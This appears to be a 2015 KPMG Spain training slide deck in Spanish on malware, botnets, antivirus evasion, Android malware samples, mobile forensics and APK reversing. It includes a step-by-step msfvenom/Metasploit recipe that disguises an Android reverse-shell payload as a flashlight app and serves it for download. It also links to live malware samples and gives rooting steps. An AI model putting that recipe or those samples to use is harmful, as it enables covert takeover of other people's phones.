0
FEELFREEA NEW APPROACHTO CYBER SECURITY
1
Big4Fundada en 1917
Más de 174.000 empleadosServicios de auditoría, fiscales y de asesoramiento legal,
financiero y de negocio
2
3
Ayudando a los clientes a detectar y responder los Ciber incidentes,
entendiendo las amenazas a su negocio, sus vulnerabilidades y
riesgos.
Ayudando a los clientes a construir y mejorar su
Ciberseguridad, soportada por las
personas, organización y tecnologías adecuadas.
Ayudando a los clientes a permanecer seguros en todo su negocio y
evolucionando y madurando sus
programas tecnológicos.
La aproximación a los servicios de seguridad se ha diseñado para ser simple y
efectiva –alineada a las necesidades de nuestros clientes resolviendo sus servicios
de seguridad, siguiendo el modelo de Buscar / Resolver / Operar.
CUTTING THROUGH SECURITY COMPLEXITY
4
5
• Proviene del inglés, malicious software
• Su objetivo (principal) es dañar un equipo informático oinfiltrarse para recuperar información del mismo, sin elconsentimiento de su propietario.
• La ausencia de dicho consentimiento no determina deforma inherente que su objetivo sea malicioso
• MDM, control parental, troyano policial, …
6
publicidad en equipos infectados puerta trasera backdoor+spyware (espionaje) deniega un sistema replicando procesos red zombie específico para delitos financieros cifra sistema y pide rescate (ransom) acceden a sitios con contenido de pago bromas
7
capturas de pulsaciones de ratón y teclado malware descargado de páginas porno diseñado para robo de correos y credenciales se ocultan en procesos suplantar Hosts y redirigir a páginas premium suplantación de identidad en web/email acceden a sitios porno de pago software con vulnerabilidades conocidas simula malware falso
8
oculta información en un sistema
similar rogue, causar pánico para cobrar
correo basura
robo de información
control remoto sobre sistema
altera el funcionamiento de un sistema. Infectan normalmente
archivos
altera un sistema para dañarlo. Reside memoria
9
Comienzo en los
Crecimiento lento en los 70-80
En los el problema a explotado a nivelmundial gracias al crecimiento exponencial de las líneasde Internet.
10
En 1960 el DEC PDP-1 creó el “cinescopio”, el primer monitor para un ordenador.
Este invento inspiró a los primeros “hackers”,, de los laboratorios Bell, a programar el primer
videojuego “ ”, al que denominaron “Darwin”.
Consistía encompartida para destruir al
enemigo (como si de un gusano se tratase).
11
•Darwin
•Creeper•Rabbit•Animal-Pervade•Worm
•Elk cloner•Viernes 13•Jerusalén
•Dark Avenger•VCL•Phalcon/Skism
Mass-ProducedCode Generator
•Michelangelo•Concept•Lady Di•Laroux•AccessiV•Melissa•Happy99•I-
Worm.ExploreZip
•VBSWG•ILOVEYOU•Pirus•Ramen•Lion•BadTrans•CodeRed•Spida•Benjamin•Slammer•Blaster•Agobot•Mydoom•Brador•Stardust•Staroffice•Leap•Conficker•Stuxnet•Zeus
•Duqu•Flame/
Skywiper•Sirefef/
ZeroAccess•Reveton•Dorkbot•RedOctober•Cryptolocker•Torrentlocker•CBLocker•Careto/ Mask•CryptoJoker
12
13
Conjunto de equipos conectados a una red como Internet, queinteractúan entre sí para ejecutar tareas de manera distribuida
Controlados desde uno o varios paneles de control quecoordinan las acciones que deben realizar.
Realización de ataques de denegación de servicio, robo deinformación de los usuarios con fines delictivos.
Sin embargo también son muchos los usos legítimos con los quecuentan las botnets (Boinc, Seti@Home, Distribuited.net, etc.).
¿Qué es?
14
Bot
Botmaster
Zombie
Panel de control
Componentes
Dame instrucciones
Toma instrucciones
15
Bredolab: 30 millones de equipos infectados
Mariposa: 12,7 millones de infectados.
Conficker: 10,5 millones de equipos infectados
TDL4: 4,5 millones de equipos infectados
Zeus: 3,6 millones de equipos infectados.
Más grandes de la historia
16
Tipos
17
1. Selección de objetivos
2. Proceso de infección
3. Propagación de la botnet
Fases
18
1. Modificación de instrucciones
2. Ofuscación y cifrado
3. Oligorfismo, polimorfismo y metamorfismo
4. Distribución y cifrado de cadenas
5. Inyección dinámica de instrucciones
6. Etc.
Técnicas de evasión principales
19
Modificación directa de instrucciones sobre el códigofuente del malware
Puede que no tengamos el código fuente
Sin código fuente, habría que hacer ingeniería inversa(mucho trabajo)
Modificación de instrucciones
20
Ocultar el flujo de control y las estructuras de datos quecontienen información detectable del malware
Objetivo de los crypters: http://www.crypters.org
Son validos durante unos días, porque las empresas antivirusanalizan de forma habitual los foros de malware, con el fin dedescargarse los nuevos ejemplares y así poder agregar lasnuevas firmas a sus motores antivirus.
Ofuscación y cifrado
21
: cuentan con sistemas de cifrado/descifrado paramejorar su ocultación (sin usar crypters).
: evolución en la que añaden la capacidad de generar deforma ilimitada nuevos cifradores y descifradores.
, es capaz de mutar su propio código entero, añadiendoinstrucciones de tipo “jump” o salto, como si de un crypter se tratase.
Oligorfismo, polimorfismo y metamorfismo
22
Las casas de antivirus, suelen buscar en los malware ciertascadenas que son muy significativas
Es habitual que las firmas de detección se apliquen sobre estosstrings
Se basa en codificar y cifrar todas las cadenas de texto, y de serposible, sean divididas en trozos y unidas por el malware una vezse encuentre en funcionamiento.
Distribución y cifrado de cadenas
23
El malware no aloja en su código las instrucciones más delicadas
Las instrucciones son almacenadas en otros archivos alojados enel equipo o incluso en Internet, y en tiempo de ejecución sonaccedidos y cargados en memoria
Ejemplo: función GetProcAddress() de C, obtener la dirección dememoria donde se encuentran cargadas las funciones del códigomalicioso y ejecutarlo.
Inyección dinámica de instrucciones
24
1. Delincuencia
2. MDM
3. Control parental
4. Troyano policial
5. Hobby y aprendizaje
6. Etc.
¿Malo? ¿Bueno? Mejor llamarlo Legal vs Ilegal
25
<<CAPITULO IX
Registros remotos sobre equipos informáticos
Articulo 588 septies a. Presupuestos.
1. El juez competente podrá autorizar la utilización de datos de identificación y códigos,
así como la instalación de un software, que permitan, de forma remota y telemática, el
examen a distancia y sin conocimiento de su titular o usuario del contenido de un
ordenador, dispositivo electrónico, sistema informático, instrumento de almacenamiento
masivo de datos informáticos o base de datos, siempre que persiga la investigación de
alguno de los siguientes delitos:
a) Delitos cometidos en el seno de organizaciones criminales.
b) Delitos de terrorismo.
c) Delitos cometidos contra menores o personas con capacidad modificada judicialmente.
d) Delitos contra la Constitución, de traición y relativos a la defensa nacional.
e) Delitos cometidos a través de instrumentos informáticos o de cualquier otra tecnología
de la información o la telecomunicación o servicio de comunicación.
Ley Orgánica 13/2015, de 5 de octubre de 2015, de modificación de la Ley de
Enjuiciamiento Criminal para el fortalecimiento de las garantías procesales y la
regulación de las medidas de investigación tecnológicas
26
2. La resolución judicial que autorice el registro deberá especificar:
a) Los ordenadores, dispositivos electrónicos, sistemas informáticos o parte de los mismos,
medios informáticos de almacenamiento de datos o bases de datos, datos u otros contenidos
digitales objeto de la medida.
b) El alcance de la misma, la forma en la que se procederá al acceso y aprehensión de los
datos o archivos informáticos relevantes para la causa y el software mediante el que se
ejecutara el control de la información.
c) Los agentes autorizados para la ejecución de la medida.
d) La autorización, en su caso, para la realización y conservación de copias de los datos
informáticos.
e) Las medidas precisas para la preservación de la integridad de los datos almacenados, así
como para la inaccesibilidad o supresión de dichos datos del sistema informático al que se ha
tenido acceso.
3. Cuando los agentes que lleven a cabo el registro remoto tengan razones para creer que
los datos buscados están almacenados en otro sistema informático o en una parte del
mismo, pondrán este hecho en conocimiento del juez, quien podrá autorizar una
ampliación de los términos del registro. >>
27
XNSpy
Droidjack (Sandrorat)
28
30
32
Flappy Birds
NotCompatible
Android Locker Qqmagic
Android Proxy Trojan Xoryp
33
Objetivo: enviar y recibir mensajes de texto con el fin de acumular
cargos por mensajería a números de tarificación adicional.
Muestra:
http://mfile.me/upload/bookmark/2014/0208/choingaygame/1391
825505/flappy-bird.apk
Código SMS:
Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager;
called from Lcom/hdc/ultilities/SendSMS$1;->run()V
Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;
Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent;
Landroid/app/PendingIntent;)V called from Lcom/hdc/ultilities/SendSMS$1;-
>run()V
34
send SMS messages android.permission.READ_EXTERNAL_STORAGE (read from external storage) android.permission.RECEIVE_BOOT_COMPLETED (automatically start at boot) android.permission.READ_PHONE_STATE (read phone state and identity) android.permission.SYSTEM_ALERT_WINDOW (display system-level alerts) android.permission.ACCESS_WIFI_STATE (view Wi-Fi status) android.permission.WAKE_LOCK (prevent phone from sleeping) android.permission.GET_TASKS (retrieve running applications) android.permission.VIBRATE (control vibrator) android.permission.ACCESS_NETWORK_STATE (view network status) android.permission.INTERNET (full Internet access) android.permission.WRITE_EXTERNAL_STORAGE (modify/delete SD card contents) receive SMS)
¿¿PARA QUE QUIERE UN VIDEOJUEGO ENVIAR SMS??
35
Troyano clásico de tipo actualización: no solicita los permisos en
la primera instalación, sino en una actualización.
Los datos de conexión se encuentran en data.bin dentro del directorio
“/data/data/com.Security.Update/files/“, y su contenido se
encuentra cifrado, con AES-ECB y una clave prefijada en la variable
passkey “ZTY4MGE5YQo”.
Nombre: com.security.update
Muestra:
http://www.mediafire.com/download/sjra9tzd14babma/Notcompati
bleC_FEACE958B47C2249C6AB8DDF804CDCB6_com.security.pat
ch.zip
36
RECEIVE_BOOT_COMPLETED (automatically start at boot)
INTERNET (full Internet access)
ACCESS_NETWORK_STATE (viewnetwork status)
37
Tipo: ransomware clásico.
Cifra y pide rescate
Muestra:
http://www.mediafire.com/do
wnload/1v8c3t94xw5j81b/An
droid-Locker-qqmagic-
735B4E78B334F6B9EB19E70
0A4C30966.zip
38
android.permission.SEND_SMS (send SMS messages) android.permission.RECEIVE_BOOT_COMPLETED (automatically
start at boot) android.permission.SYSTEM_ALERT_WINDOW (display system-
level alerts) android.permission.ACCESS_NETWORK_STATE (view network
status) android.permission.RECEIVE_SMS (receive SMS) android.permission.INTERNET (full Internet access)
39
Detección: 9 de abril de 2013
Troyano clásico: mensajes, registro de llamadas, historial
de navegación, ubicación GPS, SMS, Wi-Fi/3G, IMEI,
cuentas del usuario, etc.
Nombre: com.studio.proxy.apk
Muestra:
http://www.mediafire.com/download/n26zjz8rb7p2z4l/co
m.studio.proxy_D05D3F579295CD5018318072ADF3B83
D-samp.zip
40
android.permission.CHANGE_NETWORK_STATE (change network connectivity) android.permission.SEND_SMS (send SMS messages) android.permission.DISABLE_KEYGUARD (disable key lock) android.permission.READ_PHONE_STATE (read phone state and identity) android.permission.ACCESS_WIFI_STATE (view Wi-Fi status) android.permission.ACCESS_COARSE_LOCATION (coarse (network-based) location) android.permission.WAKE_LOCK (prevent phone from sleeping) android.permission.RECEIVE_SMS (receive SMS) android.permission.INTERNET (full Internet access) android.permission.ACCESS_NETWORK_STATE (view network status) android.permission.WRITE_EXTERNAL_STORAGE (modify/delete SD card contents) android.permission.READ_CONTACTS (read contact data) android.permission.GET_ACCOUNTS (discover known accounts) android.permission.READ_SMS (read SMS or MMS)
41
42
1. msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 R > /root/linterna.apk
2. service apache2 start3. cp /root/linterna.apk /var/www/html4. msfconsole5. use exploit/multi/handler6. set payload android/meterpreter/reverse_tcp7. set LHOST 192.168.1.508. set LPORT 44449. exploit
10. Abrir http://192.168.1.50/linterna.apk en el smartphone
43
44
45
46
47
¿Qué ha ocurrido? ¿dónde? ¿cuándo?
¿cómo? ¿por qué?
48
•
•
•
•
•
49
ADB
DD
FTK Imager WForensic
Super OneClick
50
• Preservar las evidencias
• Obtener información del dispositivo
•
•
•
•
• Adquirir información de la tarjeta SIM
• Informe
51
52
•• Marca, modelo y proveedor de servicio
• http://www.phonescoop.com/phones/finder.php
•• Interfaz de dispositivo
• Etiquetas
• Series
• Hora del móvil
• Software de sincronización
53
•
•
•
•
54
55
56
1. Instalar el SDK de Android en un PC2. Conectar el móvil al PC mediante ADB3. Rootear (al menos temporalmente) el móvil con Android4. Clonar mediante dd las particiones del móvil
1. Adquirir un producto de análisis forense automático
57
58
59
60
61
62
63
7.- Conectar el móvil y comprobar instalación
8.- Reiniciar
9.- Conectar móvil con modo depuración USB activado
64
•
•
•
•
65
•
• Muestra si el móvil está conectado
• Por si ha habido algún problema
• Instala/desinstala aplicaciones en el terminal
• Arranca una shell dentro del terminal
• Intercambia archivos
66
$
67
•
•
• : Uso de software como SuperOneClick o ExynosAbuse• : Root a través de recovery
•
68
ANDROID 2.X
•
•
•
•
69
ANDROID 2.X
70
ANDROID 4.X
1. Formatear una tarjeta micro sd a FAT32
2. Desplegar en la tarjeta el firmware modificado uberoid 1.0
(http://ul.to/fd3flqnp) o 2.0 (http://ul.to/s8a7j1zr)
3. Introducir la tarjeta en el terminal apagado y encender (tened en
cuenta que no sabremos el PIN)
4. Ya eres root
71
ANDROID 4.X
1. Permitir la instalación de apps de fuera de Play Store.
2. Ir a https://towelroot.com/ y descargar la aplicación3. Ejecutar y “make it ra1n”4. Esperar y tras el reinicio el terminal está rooteado.
No funciona en terminales HTC y Motorola.
72
#
73
• A través de DD– dd if=/dev/mtd/mtd1ro of=/sdcard/mtd1ro.dd bs=4096
74
• Memory Technology Device (MTD): Subsistema Linux utilizado en medios flashcomo en móviles.
• IDE (/dev/hd* = hard drive)
• SCSI o SATA (/dev/sd*)
• MTD (/dev/mtd*)
• Podemos obtener más información de los dispositivos inspeccionando /dev y/proc
YAFFSCaso de los antiguos sistemas Android
75
YAFFS
76
EXT
Particiones:
Correspondencia de particiones y puntos de montaje:
77
78
79
80
• En las tarjetas SD no se almacena la información del sistema
• Se almacenan datos de usuario como archivos grandes, multimedia, fotos,
vídeos, etc.
• El proceso de extracción es bastante sencillo y se centra en el uso de
ciertas herramientas.
81
1. Extraeremos la tarjeta SD/MicroSD/MiniSD del terminal
2. La insertaremos en un lector de tarjetas, mapeándola como solo lecturapara no dañar la evidencia
3. La clonaremos con dd u otra herramienta y calcularemos el hash
4. Analizaremos el clon de la tarjeta con herramientas como Autopsy o FTKImager
82
83
•
•
•
84
85
86
• Si descomprimimos el fichero .apk y abrimos elfichero AndroidManifest.xml, no veremos nadaporque está codificado.
• Pasos a seguir:
1. Descargar la herramienta apktool
2. Copiar el archivo .apk en la carpeta raíz
3. Introducir el comando:
apktool d NombreApp.apk ./RutaSalida
Ej. apktool.bat d facebook.apk fbook
87
Extraer el código fuente de la aplicación a partir del fichero .apk
En el proceso de empaquetado:
Para el proceso de reversing
88
PASO 1:
Procedimiento:
Copiar el fichero .apk en la raíz de dex2jar
Abrir un cmd y situarse en la ruta anterior
Ejecutar el comando dex2jar nombreAplicacion.apk
89
PASO 2:
Procedimiento:
Instalar JD-Gui y abrir el fichero .jar obtenido en el paso anterior
Guardar todas los ficheros de código fuente en la ruta deseada
90
Identifica aplicaciones inseguras o maliciosas.
Búsqueda estratégica de fragmentos de código.
Especial hincapié en aspectos potencialmente inseguros:
Preferencias de las aplicaciones
Almacenamiento en la SDCard
Logs
getSharedPreferences()MODE_PRIVATEMODE_WORLD_READABLEMODE_WORD_WRITEABLEaddPreferencesFormResource
getExternalStorageDirectory()sdcard
Log
91
Sentencias JavaScript
SQLite
addJavascriptInterface()setJavaScriptEnabled(true)
dbsqlitedatabaseinsertdeleteselecttablecursorrawQueryin
92
Notificaciones Toast
Debuggable
Identificadores
Toast.makeText
uid, user-id, imei, deviceId, deviceSerialNumber, devicePrint, X-DSN, phone, mdn, did, IMSI, uuid
android:debuggable
93
Tapjacking
Hashes
Conexiones
httphttpsHttpURLConnectionURLConnectionURLTrustAllSSLSocket-FactoryAllTrustSSLSocketFactoryNonValidatingSSLSocketFactory
MD5BASE64des
filterTouchesWhenObscured="true"
Lo que el usuario ve
Lo que realmente esta pasando
94
Intent Injection
Localizacion GPS
Action.getIntent()
getLastKnownLocation()requestLocationUpdates()getLatitude() getLongitude() LOCATION
Aplicación 1
Activity 1 Activity 2 Activity 3
Aplicación 2
Activity 1 Activity 2 Activity 3
intent
intent
intent
95
pero con saber interpretar código java podréis hacer un trabajo importante
(mucho más sencillo que ASM)
96
97
• proyectos nacionales e internacionales
• recibirás formación especializada
•
• Hacking ético (rompiendo y solucionando)
• Cumplimiento normativo (LOPD, ISO27001, …)
• Vigilancia digital (I+D, análisis e inteligencia)
•
• Senior
• Junior
• Becas
•
© 2015 KPMG Asesores S.L., sociedad española de responsabilidad limitada y firma miembro de la redKPMG de firmas independientes afiliadas a KPMG International Cooperative (“KPMG International”),sociedad suiza. Todos los derechos reservados.
KPMG, el logotipo de KPMG y “cutting through complexity” son marcas registradas o comerciales deKPMG International.
Esta propuesta de servicios ha sido realizada por KPMG Asesores, S.L. sociedad española deresponsabilidad limitada y miembro de la red de firmas independientes afiliadas a KPMG International,sociedad suiza, y está sujeta, a todos los efectos, a la negociación, acuerdo y firma de una carta deencargo o contrato específico. KPMG International no presta servicios a clientes. Ninguna filial ofirma miembro tiene autoridad para obligar o vincular a KPMG International o a otra firma miembro conrespecto a terceros ni KPMG International tiene autoridad para obligar o vincular a ninguna firmamiembro.
Contáctanos:
Director – Cyber Security
Fijo: 91 456 59 04Móvil: 666 48 26 51Email: [email protected]
www.kpmg.es | www.kpmgciberseguridad.es
Senior Manager - Cyber Security
Móvil: 608 91 95 03Twitter: @jantonioCallesEmail: [email protected]
Partner – IT Advisory
FIjo: 91 456 38 31Email: [email protected]